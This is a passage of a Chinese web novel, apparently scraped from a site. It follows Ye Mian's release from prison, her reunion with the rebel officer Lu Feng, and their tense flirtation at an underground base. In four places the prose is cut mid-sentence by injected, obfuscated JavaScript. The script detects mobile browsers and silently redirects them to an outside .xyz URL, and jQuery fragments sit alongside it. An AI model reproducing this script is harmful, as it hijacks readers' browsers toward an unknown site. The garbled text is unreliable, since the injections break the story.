“人要往前看,烟花姐,”叶眠煞有介事地说,“人背负着过去是为了往前走的,C监需要你,不能让你一直这么消沉。” 烟花想说我哪消沉了,对上叶眠安静却清透的眼神,最后什么也没说。 “记得给我寄东西,”她把判决书拍回叶眠的腿上,“出去之后好好保重,这几天我就不来了。” 法蒙还没回来,黑兔子一死,这是立威服人、重整秩序的最好时机。 “包的。”叶眠比了个大拇指。 * “同事哥~” 沈舒白已经到了看到这个称呼就发怵的程度。 白干全白干:“姐,我说姐,你问的问题能不能不要那么刁钻?” 遇到困难睡大觉:“什么刁钻?怎么刁钻了?” 白干全白干:“比如陆风用哪只手那个……我怎么会知道啊?!” 沈舒白真有点崩溃了。这才几天,失忆卧底版叶绵绵他已经感觉应付不来了。 遇到困难睡大觉:“多多益善嘛,不过我这次不是来问那个的[笑脸]。” 沈舒白脑子一转:“二次判决书到了?” 遇到困难睡大觉:“[对]。陆风什么时候来接我?他要派人来,还是亲自到?” 沈舒白已经跟指挥使传达了叶眠成功脱罪的消息,后者情绪外露不多,只表示了一下惊讶,看不出有几分重逢的喜悦。 白干全白干:“好像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224749|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明天下午。” 遇到困难睡大觉:“他开什么车?” 白干全白干:“应该就是普通悬浮车。” 遇到困难睡大觉:“我这两个人没问题吧?别坐不下。” 白干全白干:“还有谁?” 遇到困难睡大觉:“一个法格里布[笑脸]。” 沈舒白:? 遇到困难睡大觉:“咋,老大没说吗?” 白干全白干:“……哪个老大?” 做他们这行的可得谨慎。 遇到困难睡大觉:“当然是法蒙啊。” 法蒙的嘴比三代禁制环还严。 沈舒白暗自腹诽,一边打字:“坐得下,但为什么买一赠一?” 遇到困难睡大觉:“那我见到陆风怎么解释我能脱罪?说我色诱法蒙吗?” 遇到困难睡大觉:“法蒙吃色诱这一套吗?[疑问]” 叶眠挠挠下巴,感觉这还真是个接近他的办法。 沈舒白很震撼:叶绵绵怎么能,她怎么能…… 真是情海上岸了? 白干全白干:“抱歉,我不知道。” 遇到困难睡大觉:“同事兄弟,看来,你的工作,还有大大的提升空间。不过我原谅你[笑脸]。” 沈舒白看着这个黄豆笑脸就感觉浑身刺挠。 他把话题绕了回去,仔细地了解了一下叶眠为什么要带法格里布一起,然后对这个安排表示了肯定,转头当补充材料转达给了陆风。 白干全白干:“对了,这个法格里布要送到海蓝星吗?” 叶眠来了精神:“怎么说?” 沈舒白估摸着,就算现在不说,等叶绵绵见到陆风也肯定能查到这些事,所以他一股脑全说了。 白干全白干:“海蓝那块反抗军不归陆风管,根据我们的消息,伊斯坦跟他们是合作关系,人应该都平安,但最近在就营养液生产线的利润问题拉扯不下。” 叶眠拿着终端,晃悠到隔壁胖子的病房,大方地说:“来,你家的消息。” 胖子盯着沈舒白的消息看了一分钟才开口:“我妈呢?伊莉·格林?” 叶眠转述:“伊莉·格林呢?” 那头消失了一会儿,叶眠就陪着胖子揪床单,把床单揪到皱皱巴巴。 终于,消息传来。 白干全白干:“法格里布的当家主母是吧?好着呢。说是在母舰上吃太好,胖了不少。” 叶眠看向胖子。 后者眼里反光,嘴唇稍微发抖,好不容易才憋出一句:“谢谢。” 叶眠想也没想,转发给沈舒白:“谢谢。” 胖子一愣。 叶眠发完才意识到,他好像是跟自己说的。 “没事,也谢谢白干兄弟。” 温情气氛被击碎,胖子心事一扔,脸色阳光明媚。 叶眠挠挠头:“你接着收拾东西吧,我走了。你的无罪证明寄到6区了,我们明天下午走,上午黑兔子死刑,你要去看吗?” “没意思,不如睡懒觉,”胖子拒绝了这个提议,“我上午去跟室友老头告个别。” 叶眠:“好。” 她溜达回自己病房,浑然不知终端那头的沈舒白死死盯着那句“谢谢”,凝固了三分钟。 太阳打西边出来了叶绵绵跟他说谢谢? 当习惯牛马的沈舒白振奋表示,以后一定多关注伊莉的消息。 19. 第 19 章 黑兔子死得无声无息。 狱警内部暗潮汹涌,谁都想趁机会拿点好处,但这些就与即将离开监狱的叶眠没有关系了。 穿过整座监狱,他们跟着狱警来到了整座监狱对外的唯一的出口。 狱警检查二人证件的时候,叶眠就眯着眼睛往外看。 荒野里,一台毫不起眼的悬浮车,无声无息地停在大门几百米外,没有丝毫要靠近的意思。 胖子也看到了,有些不安:“我们要见到指挥使了吗?” 叶眠倒是很乐观,嘴上跑火车:“拿出你的斗志啊,就当是陪诡秘见前男友。” 胖子一只死鱼眼看过来,冷笑一声扭头,根本懒得理她。 他脖子上的禁制环被狱警解下,连着密钥一起收到保险柜里。叶眠羡慕地看着,心里盘算着到底什么时候才能把法蒙解决掉。 ——她也想在火灾梦之外使用异能。 “监狱内的账单,二位怎么付?”狱警查看了终端发来的医院费用清单,抬头问。 叶眠一愣。 法蒙给她送来的终端里,账户余额一直是0。他们甚至完全没讨论过工资这件事。 没办法,她只好戳戳胖子,低声说:“江湖救急,晚点还你。” 胖子的终端刚到手,立刻拿出了作为粮食大家的慷慨:“来。” “可以走了,”狱警确认到账,微笑说,“希望你们改过自新,重新做人。” 胖子连连点头。 叶眠踏出监狱的大门,最后回头望了一眼这座巨大的钢铁牢笼。不管怎么说,这都是她征程的开端,是一切起始的地方。 ——她“美好的”新手村。 “叶眠,我们就这么走过去吗?”胖子还是有点踌躇不前,“你最好有点什么靠谱的计划。” “当然有。”叶眠没有行李,她两手插兜,不知什么是对手,身上只有一套病号服,被风刮到鼓起,像是航进的帆。 “计划第一步,是拿下反抗军。” 胖子沉默了一下,已经不再想吐槽了,而是真有点好奇她能扯到哪去:“这是第一步,那最后一步是什么?” “嗯……统一星系?”叶眠说得半真半假。 “得了吧你。”胖子只当她是为了缓解心情。 - 几百米的距离很快就拉近了。 因为风大,叶眠想理一理头发,结果手一动才想起来,自己还是个缠着绷带的卤蛋。 那没办法了,只能请陆风看光头了。 叶眠清了清嗓子,敲了敲紧闭的车窗:“嗨。” 过了三秒,车窗摇下一半。 叶眠首先注意到的,是陆风的眼睛——很深邃的桃花眼,瞳孔的棕色在光下更像浅褐,十分温暖且富有感染力的颜色。 他鼻梁上的镜架稍微下滑,这是个抬眼的姿势,显得整个人很是灵动。 “好久不见。”他勾起嘴角。 这一笑,双眼更是放电般的含情脉脉。 叶眠也笑了,笑得比陆风真实两百倍。 谁看到帅哥不想笑?看帅哥延年益寿,看帅哥有益身心健康,看帅哥…… “上车吧。”陆风关上车窗。 胖子:“……就这样?” 叶眠兴致被打断,哼了一声:“先上车。” 胖子默默爬上后座,叶眠拉开副驾驶车门,动作一顿。 男人手肘搭在车门上、单手托脸,墨镜后眼神如丝如缕地缠绕而来,结果落了个空。 因为叶眠的注意力完全没在他脸上。 衬衣图案花哨,扣子敞了五六颗,衣领斜斜地开着,下摆扎进裤腰。胸肌喷薄欲出,中缝阴影晃眼,看得人心痒难耐。 奶窗是好文明,但这也太慷慨了吧? 嗨呀,非礼勿视,非礼勿视。 叶眠满脑子世风日下、有伤男德,自觉好心帮忙,上身前倾。 久别重逢,陆风哪里想得到,叶眠已经化身男德卫兵。 他看“叶绵绵”脸色苍白,羞涩地垂着眼睛,只当她是要主动投怀送抱,心中发软。 ——这是他的绵绵。 监狱里日子不好过,人瘦了点,但还挺有精神。 陆风长臂一揽,叶眠猝不及防被抱了个结结实实。 但她控制住了下意识的反击,没挣扎,甚至顺势把手放到他背上,轻轻拍了两下。 陆风一手拢在叶眠腰侧,脸埋进她肩窝,如愿以偿地嗅到了那种令他习惯且心安的味道。 ——叶绵绵身上的味道。 他声音带了点哑:“绵绵,我们回家。” 这个拥抱用了些力气,但还没到强制的程度,男人温热的呼吸喷在颈侧,带着点痒。 叶眠能感受到他话里蕴藏的感情,眼神稍动。 气氛暧昧,她秉承着“来都来了”的思想,顺手捏了两把陆风背肌。衬衣下的身体愈发紧绷,手感弹实,确实是练得不错。 陆风的手也在无声上滑,从腰,到背,寸寸验过熟悉的线条。 手心的热度透过布料传递到皮肤,两人的距离越来越近,几乎贴到一起。 病号服衣领偏大,陆风的嘴唇从颈侧滑到肩头,带着点若有若无的勾引,叶眠立刻——用了点力气把他推开。 距离拉远,她清楚地看到陆风眼里那一点清醒的诧异。 他也没有半分意乱晴迷,叶眠心下了然。 装什么抱抱玩偶,俩人加起来一千六百个心眼子。 热风从背后半敞的车门刮进车内,她伸手,摘下了他的墨镜。 这个行为让陆风的眉头逐渐锁紧,他好像有些不自在地眨了两下眼睛,定定地看着她。 真漂亮,叶眠在心中赞美,然后,她把陆风的墨镜戴到了自己鼻尖,歪了歪脑袋。 “回家?所以现在,我不是你的弃子了?” 这个问题横贯在他们之间,决定着之后叶眠面对陆风的态度。 与法蒙见面留下的第一印象不同,叶眠对陆风的观感明显更好一些。 不管叶绵绵跟他之间有些什么情怨纠葛,现在的叶眠只当两人是从新开始。 看在这双漂亮眼睛和美好肉|体的份上,她愿意给他一个澄清和解释的机会。 但陆风的表情明显冷淡下去。 他没有第一时间取回墨镜,而是仔细地看着“叶绵绵”的眼睛,试图从中找到一丝闪躲和犹豫。 ——没有。 她就是在问,为什么不救我?为什么放弃我? “你确定要在这时候,问这个问题吗?” 他稍微垂眼,拉起叶眠的一只手,握在自己手心稍微摩挲,带着点暗示。 察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224750|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她的无动于衷,他抬头,最后确认了一遍:“在这个时候?” 他理解,叶绵绵会有些埋怨和别扭。但他以为他们会迅速和好,毕竟之前哪怕是最严重的那一次,她也只是晚回复他的消息半小时。 认识这么多年,她从没真生过气,再过分的要求、再委屈,哄一哄就好了。 她很好哄,又总是那么懂事。 然而现实中,叶眠反问:“为什么不?” 从死刑的子弹下幸运逃生,她该原谅一切吗? 陆风能抛弃叶绵绵,就能再背叛叶眠,她要看清他的态度,以免步入叶绵绵后辙。 “绵绵,”陆风终于开口,不复最初的温和,“你知道,我有我的使命,组织也有组织的纪律。” 从叶眠脸上拿回墨镜,陆风好像终于回到他的舒适区,语气稍显严肃:“从我父亲开始,你为反抗军做事,到现在,为我做事。因为暗杀收尾不成功暴露身份,所以进监狱、被组织放弃,你的意思是,我应该为你违纪?” 胖子听到这话,忍不住在心中为他默哀:陆风,out! 谁不知道叶眠吃软不吃硬? ……虽然有时候软也不吃,但来硬的,只能说自求多福吧。 “我们关系特殊,不要恃宠而骄。”陆风警告地说。 他没有意识到任何不对,仍以为对面的这个人是他所熟知的那个“叶绵绵”。 哦? 叶眠表面露出一个明快的笑容:“这样啊。” 陆风理解不了这份突变的情绪,只当她是想通了。 他脸色缓和,捡起叶眠的手拉到唇边,轻轻贴了一下,以资奖励:“听话。别让我失望。” 后排胖子早已自戳双眼:我什么都看不见。 下一刻,叶眠反手捏住陆风手指,嘴角依然带笑。 目光没有游移,她只是简单牵起他的手,做了一个相同的动作。 不像陆风敷衍似地贴一下就算了,叶眠认真地亲了一亲他的手指,甚至发出一声轻响。 然后她眼睛弯弯,大发慈悲地从他脸上移开了视线,低头,用拇指搓了搓他的指节。 暧昧且黏稠,带着点若有若无的侵略性。 “开车吧。” 好像什么都没发生过一样,叶眠坐回了自己的位置。她拉上车门,姿态放松,视线投向窗外。 胖子恨自己刚刚没捂上耳朵。 干什么!这是在干什么! 陆风有一会儿完全没反应过来。 在他的认知里,这是不可能出现的事情。与叶绵绵的关系中,无论是感情还是其他,主导者永远是他,叶绵绵只能服从。 但刚刚这段如同交锋的互动,让他后知后觉地感受到一点异常。 陆风的手指微蜷,指节上残留的触感依然灼人。他盯着叶眠的侧脸,重新注意到她头顶、下巴上的绷带,也看到她脖子上黑色的禁制环。 “怎么弄的?”他问。 “监狱里弄的,你不知道?”叶眠甚至没给他正眼。 她跟叶绵绵性格差了十万八千里,与其伪装成另一个人折磨自己,不如敞亮地试试陆风接受程度。 谁能想到她不是真的叶绵绵?就看陆风对叶绵绵的这份心有多厚了。 陆风若有所觉地眯起眼睛。 这是发脾气了? 20. 第 20 章 “你做的事有哪件不危险?但这么多年都这么过来了,”陆风语气甚至还带了两分怀念,“蒋仕临终于死了,我心里也算放下了块大石头。” 悬浮车稳稳加速,他没有开自动驾驶,而是手动调出了本地地图,朝着一个方向驶去。 我做的事?叶绵绵不是文职吗? 蒋仕临又有点什么身份? “那,下个任务是什么?”叶眠问。 “父亲的名单上还剩不少人,我们要走的路还很长。你刚出狱,好好休息一下吧,”陆风语气发软,令人牙酸,“陪我几天。” 叶眠舔了舔上牙膛,陪他? “这个法格里布怎么处理?”她完全是公事公办的语气。 陆风评估的眼神扫过后视镜,面对着有些局促的胖子,他微微一笑,十成十的平易近人:“抱歉,我跟我的手下不能在法格里布主家面前露面,也暂时没有心力给你安排身份,可能要暂时邀请你到基地一住了。” “没问题,”胖子即答,甚至有点殷勤,“长官这样安排再好不过,我正想见见母亲。” “嗯?”陆风鼻子里发出一声疑问,“你好像理解错了,我说的基地不是母舰基地,只是暂时落脚的地方。你想去蓝星的话,要等三个月后。” “啊,这样。”胖子讷讷应声,后知后觉汗毛炸起。 ——那不就是……联盟眼皮子底下的反抗军窝子? “三个月后有什么事?”叶眠问。 她也知道自己跟叶绵绵的习惯作风割裂太大,又懒洋洋地补充了一句:“有什么我能做的吗?” “三个月后指挥使换届,绵绵,”陆风的视线若有若无地投过来,带着点探究,“我跟你说过的。” “噢,我把头撞坏了。”叶眠越来越感觉这个借口不错,很扯,但又有理有据。 “你确实变了一些。”陆风这样说着,态度闲适,但也没什么其他的表示。 毕竟,他们相处的时光不能作假。 叶绵绵是他看着长大的,从十四岁到现在。所以他确信叶绵绵会保持忠诚,一如既往,她的感情是最好的锁,不管是入狱前,还是入狱后。 叶眠无声地笑了笑,视线稳稳地落在车外。 从见面到现在,她的一举一动都不是无的放矢。陆风明显对她还有点亏欠之心,所以底线还能再抻一抻,不像法蒙,上来就是“不好好干禁制环就带一辈子吧”,那才是真的没什么拉扯空间。 叶眠稍微走神了一下。 叶绵绵,看到了吗? 你为他做的事,没有得到一分该有的回报。打工陪睡十多年的情分,不够让他捞你一把。 “C监的线人是个边缘小狱警,做不了什么事,”陆风哄她,“你在监狱里受的欺负,等以后给你报。” 叶眠诧异地扭头看他,语气中带了点疑惑:“怎么,反抗军终于准备武力推翻联盟统治了?” 陆风不动声色地哽了一下:“过去这三年我只负责情报,等三个月后换届,如果能争到武装部指挥使位置的话,三年内发起对联盟的正面战争也不是不可能……” 他像是想起了什么:“还需要你的助力。” “不是刚说完让我休息一下?”叶眠笑了一声,“要我做什么?” 陆风的眼神再次扫过后座的胖子:“说服海蓝的法格里布,把营养液生产线建在青砂星。” “不……” “拉米亚纳。”叶眠警告出声,态度少见的严肃。 陆风好笑地摇了摇头。 第一次听到叶眠这么正式地叫他的名字,胖子愣了一下,随后也意识到什么,狠狠抿住了嘴。 故作放肆的叶眠脖子上还带着禁制环,如果她还能空手跟陆风谈上几分情理,那么一直压低存在感的胖子就是完全没有话语权。 在反抗军指挥使的车里,万一他真惹急了陆风,叶眠不一定保得下他。 但,青砂星,是几乎位于帝国联盟交界带的中等星。 如果法格里布的营养液要在联盟内争夺市场份额,理应选择更靠近核心区的星球——无论是营销辐射力还是人才储备都更具优势。 虚假和平不一定能持续多久、战火随时可能重燃。一条投入巨大人力物力的生产线,建在这么偏远的地方,要考虑的包括运输成本增加、安防仓储投入拉高,地缘政治影响深远,更不用说其他中间环节的弯弯绕绕。 法格里布会主动自缚手脚吗?这是反抗军在狮子大开口。 “什么时候出发?”叶眠冷声问。 陆风态度玩味,让她有些担心胖子的家人会不会受反抗军挟制。 “这么着急?”陆风反倒不急不慢,甚至有点伤心的意思,“好不容易重获自由,这么急着奔赴下一个岗位?” 叶眠干脆地说:“那让你选。陪你过家家,还是做事。” 陆风这下是真笑了:“伶牙俐齿。” 悬浮车已经进城,陆风的回答暧昧不清,叶眠却已经把所有的注意力都放到了外面。 联盟比她想得……破败一万倍。 夕阳下的城市显出一种雾霭缭绕的模糊感,灯光半亮不亮,所有的建筑都是浸在灰橙色调中,仿佛盖着一层抹不掉的尘土。 “欢迎回来,”陆风降下悬浮车的高度,落到马路上,“首都星下层区8区。” 下层区?那倒不奇怪了。 造型普通甚至有些灰扑扑的悬浮车,混在高峰期车流中毫不起眼。叶眠把贴了反光膜的车窗降下一条缝,闻到了淡淡机油混着烟熏火燎的味道。 有些熟悉。 心底一动,叶眠古怪地想:难道我真是叶绵绵?我也在这种地方生活过? 悬浮车拐过三个街角,天色更暗了。 路灯一闪一闪地亮起来,有些小店也亮起了霓虹门头,偶尔有几人聚堆,劣质香烟拢在身周,路过的人低头绕过,行色匆匆。 “赶上晚高峰了,”陆风把副驾驶的车窗关严,打开车内空气循环,“离毒虫远点。” 后排的胖子从小在正经上层区长大,也没怎么见过这种阵势,他眼睛瞪大,表情有些迷惑,也有些纠结。 “拉米,是吧,”陆风点他一句,“没怎么来过下层区?” 胖子咽了咽口水:“没怎么来过。” “到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224751|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基地之后最好别出门,”他淡淡地说,“你救了绵绵,我承你的情,但别惹事。” 悬浮车拐进了商场停车场,陆风拿出两副机械口罩。 三人沉默无言地进了这座规模不小、岁数也不小的超级商场。 里面人流不算大,地面甚至稍微有点黏脚,叶眠瞥了一眼在室内还戴墨镜的陆风,微微皱眉——那些售货员,关注来人的眼神有点太尖了。 下到负一层,美食街长达几百米,叶眠逐渐不再关注奇怪的店员们,她面如土色地走过灰绿色的大炖锅、发臭的炸货铺、干拌红糖的黏糊面线……这是人吃的东西? 怎么好像跟监狱里的泔水,似乎也差不很多? 美食街尽头拐弯是酒吧街,陆风目不斜视地带着两人走进了最破最小的那个门口。 酒吧里放着当下流行天王的热门歌曲,灯光昏黄、空气憋闷,没有顾客,极度冷清。 擦杯子的调酒师头也不抬:“喝点什么?” “开水冲泡的婴儿奶粉。” “哪档?” “帝国走私。” 调酒师略微一抬头,看了陆风一眼,又好像什么也没发生地低下头去:“八号桌。” 绕过吧台,后面赫然是带着门帘遮挡的小桌。叶眠回忆着暗号,觉得反抗军这些人真有意思。 掀起帘子走进卡座,桌子上的酒单无风自动地翻到了最后一页。 异能? 陆风坦然坐到桌边,叶眠下意识抓住一把椅子,胖子表情惊异,刚想开口,地板一震。 “什么东西啊啊啊啊啊——” 伴随着胖子的尖叫,整块地板垂直下落,如同有轨电梯。 桌椅牢牢固定在地板上,陆风饶有兴趣地看着他的反应,殊不知旁边叶眠也是大吃一惊,艰难维持住脸上的八风不动。 电梯一路到底,刹停后发出轻微的“咔擦”声。本来是卡座垂帘的方向,一间金属双开门赫然镶嵌在黑色的水泥墙体中。 陆风拉起那把门锁,手指轻轻一弹,锁环应声而开。 他的异能到底是什么?叶眠有点摸不透。 两扇门向内打开,门后是铺着暗红色地毯的宽敞走廊,陆风一脚踩进,稍微欠身,比了个请进的手势。 “法格里布先生,左手第一间,请。” 胖子没敢动,陆风站直摸了摸下巴,又说:“虽然这边是地下,但我可以保证空气循环比地上更优秀。餐厅24小时开放,在走廊另一头,有任何需要都可以找那边的服务生。在这里你绝对安全,我只有一个要求:别做不该做的事。” 他伸手去拉叶眠的手腕,叶眠脚下没动。 “跟我一间?” 陆风营造暧昧的时候从不遮掩欲望,永远是大大方方的。这种态度很难让人讨厌,因为分寸把握得很好,也确实给出了拒绝的余地。 叶眠想了想,没再犹豫:“走。” 胖子表情从震惊到不解,再到同情:叶眠伟大,无需多言。 叶眠想得倒是简单很多。 她对陆风有所图谋,自然要拉近距离,何况陆风这个质量,怎么说她也亏不了哇。 21. 第 21 章 叶眠进门,只来得及看清房间是木制装修,眼前天旋地转,人已经被陆风压到了门板上。 她急促地喘了半声,一只手被陆风按在头顶,四目相望,陆风的半张脸藏在墨镜后,但眼神暗得惊人。 陆风一直觉得自己是很有自制力的人,但面对叶绵绵的时候,那种引以为傲的控制力却经常崩到找不着北。 他低头压近,看到她眼角那颗小痣,贴上嘴唇,又轻轻叼住,咬了一下。 属狗的? 叶眠眼皮微动,这人睫毛很长,细细密密地藏起了所有情绪,也藏起了她最喜欢的棕色瞳孔。 “看我。”她命令说。 陆风明显有些迷惑,但还是抬眼与她对视,叶眠趁机把头顶的左手从他掌下抽出,顺路摘了那副从不轻易下脸的墨镜。 “摘了我的眼镜,又要用光晃我吗?” 陆风模糊不清地说着,带着热度的嘴唇再次落到耳侧。叶眠稍稍闭眼,暗自思索:又?用光晃他? “那,最近好些了吗?” 叶眠声线放柔,左臂自然地环到陆风后颈,牢牢地拿着那副墨镜。右手则带着点眷恋地抚过他的脸颊,拇指蹭到他的眼角,稍微用了点力,把他的脸拉开了一小截。 视线相碰,叶眠再次感叹:好深情的眼睛,像被阳光晒到暖手的漂亮石头。 陆风不习惯地往后退了退,但叶眠一只胳膊还搭在他肩上。她表情温婉,小臂却发力,不许他后撤,轻轻地解释:“刚刚碰到伤口了,有点痛。” “抱歉。”陆风稍微放下心来,再次拉近距离。 额头微微相贴,两人呼吸交错。 气氛正好,他一只手抬起叶眠下巴,深深地吻下去——然后被叶眠两根手指挡住。 感受到手指压在嘴唇上的微小力气,陆风睁开眼,不出意外地还有八分清明。 “还没回答呢。”叶眠松开左手,举了举墨镜,态度明确。 “老样子。小沈都没办法的事情,我也习惯了,”陆风叹了一声,彻底没了兴趣,“你饿不饿?不饿的话去洗澡吧。” 小沈? 叶眠心里一跳,不知为何第一时间就想起沈舒云。 但沈研究员应该跟反抗军搭不上关系吧,她这个念头一闪即逝。 “等下我给你换药?”陆风贴心地问。 “嗯?没事,不用,过两天就可以拆了,”叶眠客气地拒绝,“我去洗澡。” 等叶眠进了浴室,灯下陆风的表情稍淡,眼中浮现几分思索。 ……感觉不太对劲? - 穿着浴袍出来,面对着三米半的大床,叶眠不客气地占了靠门的一边。 趁陆风进了浴室,她见缝插针地拿出终端问同事哥:“江湖救急!陆风有什么隐疾吗?” 过了一小会儿,回复来了。 白干全白干:“……他不行?” 遇到困难睡大觉:“?” 遇到困难睡大觉:“你怎么回事?” 沈舒白意识到自己是会错意了,立刻端正态度——装傻。 白干全白干:“不知道欸[挠头],但他是不是应该有那种随身医生之类的?你直接去刺探一下医生呗。” 沈舒白心道,要是直接告诉你那我不就暴露身份了。 同时,他也有点纠结:到底要不要告诉“失忆”的叶绵绵? ——陆风的眼睛确实有问题。 以前的叶绵绵是知道的,但现在这个叶绵绵会不会把这项弱点反手告诉法蒙,就不是他能猜到的了。 反抗军和革命党之间势同水火,法蒙人在边境几年仍记挂着“剿匪”,陆风更是在成为指挥使之前就放出过“革命党上位就是第二个联盟”的狠话。 如今能达成微妙的平衡,少不了沈舒白在其中斡旋,只是这活越来越难做,从法蒙回到首都星,两人王不见王,苦的都是下面的小卡拉米——比如沈舒白,比如刘仁。 只能说,还好陆风在反抗军没有军队指挥权,法蒙的大部队也在边境没调回来。 沈舒白烦心地抓了抓头发,一转头又收到导师的催促短信——征稿周期过半,他连选题都没定下来。 淦! - “在看什么?”陆风腰间围着浴巾,头发湿着。 叶眠抬眼,就看他发梢的水滴滴答答坠落,像是雕像棱线上缀的珍珠。视线不由自主地被吸引,断续的水痕沿着肌肉|沟壑蜿蜒而下,最终被浴巾边缘吸吮殆尽。 他的胸膛还蒸腾着沐浴后的热气,上身的线条随着呼吸节奏微微起伏。 “我简直要怀疑你是在色诱我了。”叶眠控制不住地提了提嘴角,顺势收起终端。 “这可不太好听,”陆风随手抽出一条新毛巾搓了搓头发,“也不太像你会说的话。” “嗯哼,”叶眠拍了拍身边床面,“来。” 好像有种古怪的既视感,但陆风没在意。 床面下陷,又回弹些许。 叶眠估摸着,以他这个块头,少说得有个八九十公斤,那浴巾不过短短一条,一蹭就掉,她顺手拉过被子给他盖住半身,规避了没必要的麻烦:“注意保护隐私。” 陆风乐了,有点坏心地伸手,勾住她的浴袍系带,作势要拽:“那你的隐私呢?” “还以为陆长官是正人君子,”叶眠说着,拍掉他的手,“说正事。” “陆长官?”陆风眉梢挑高,“不是陆哥了?” “陆哥?” 叶眠心中暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224752|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗吐槽,同事哥你消息不够到位,小情侣二人转的事完全没涉及啊。 陆风若有若无地“嗯”了一声,捡起叶眠的浴袍系带,放在手中把玩。 “所以,叶绵绵是这么叫你的吗?”叶眠歪着头,平静地问。 “这段时间可能对你造成了一些伤害和打击,”陆风语气和缓,甚至带了点心疼,“但不至于因此否认你的过去,绵绵。” 叶眠心下有数了,嘴上却说:“可如果我忘记了很多事情呢?” 她看不清陆风的表情,但能听到他的声音:“那我就让你再想起来。” “如果我变了呢?”叶眠不依不饶,“如果我不爱你了呢?” “说什么傻话,绵绵。” 陆风露出一个无懈可击的微笑,伸手摸了摸她的侧脸。 “我说真的,陆风,”叶眠没动,认认真真地跟他说,“比如现在,我并不认为我是叶绵绵。” 陆风纵容地说:“那你是谁?” “我是叶眠。”叶眠说。 只是这一个名字,就能看出很多事情。直接改口的护士、狡辩了一下的胖子,完全无视的法蒙……每个人的反应都不一样,因为他们性格迥然。 陆风会怎么回答呢?叶眠有些期待地看着他。 “不开玩笑?” 陆风稍微坐直了一些,紧盯着叶眠这张熟悉的脸,带着点他不熟悉的神情。 “我是叶眠。”她无比认真地说。 可能在某一次呼吸的缝隙里,陆风考虑过叶绵绵从此消失的可能性,但是长久以来的习惯成了他的倚仗。 ——他从不轻易动摇。 “好,叶眠,”他语气掺着一半认真,“我会等到你想起作为叶绵绵的那一天。” 有救,但不多。 叶眠放弃挣扎,闭上眼滑进被子里:“睡觉。” “不做吗?”陆风看到她露在外面的半个绷带头,妥协了,“算了。” 他把叶眠往自己怀里揽了一下,叶眠睁眼,无情把他推开:“自己抱被子去。” 陆风预想里重逢后的翻云覆雨被叶眠轻飘飘挥散了,他委委屈屈地抱了个被子,心想总有一天要把他丢的场子找回来。 可惜,这时的他还不够了解叶眠。对她来说,别人敬我三分,我顺竿上爬五分,一旦错过了最好拿捏她的阶段,就不会再有翻身把歌唱的机会。 陆指挥多年后也感慨,自己太相信过去的情分了,因为固步自封,所以亲手放走了成长期的叶眠,就只能老老实实给她打工后半辈子。 彼时,据星际不知名野史记载:“相传初见时,陆百般蛊惑、媚眼如丝,大帝心悦于此等美目,却抱惜才之心,三顾床头而不入,故而后有十年君臣相和之美说。” 22. 第 22 章 叶眠又做梦了。 再次身处火海中,上次受到的伤害似乎已经被一键刷新,她只隐隐记得异能透支的疲惫,还有铁片划破手掌的触感。 回忆起那段誓言一般的文字,叶眠觉得有点好笑,但又有点动容——若得自由,不死不休。 难道真是我小时候写的? 猫头鹰这个代号,听起来很有她遇到困难睡大觉的风格。 叶眠站在火里一边思索,一边凝出薄薄一层低温冰覆在身上。 她给这里起名为出生点三号。 三次清醒的火灾梦,三个不同的房间。第一次的狭小一些,第二次的像是训练场,这一次则是……食堂? 空无一人但熊熊燃烧的桌椅之间,站着一个摸不着头脑的叶眠。 这到底是哪里? 是我幻想出来的地方,还是真实存在的场所? 桌椅普遍比正常规格矮上三分之一,根据叶眠目测,绝对不是给成年人坐的,不然就得蜷着身体,纯给自己找罪受。 低等教育园区? 低等教育不该有训练室摆着枪架这种东西吧? 叶眠稍微测试了一下安全圈,好消息是,这次半径扩大了二十厘米——她拥有了整整250Π方cm方的自由活动区域,虽然像是在骂她。 但坏消息是,跟似乎没有边际、没有止息的大火比起来,这个安全圈还是太小了。 她眯着眼睛往外看,似乎能从高地火焰中隐约看到打饭的窗口。 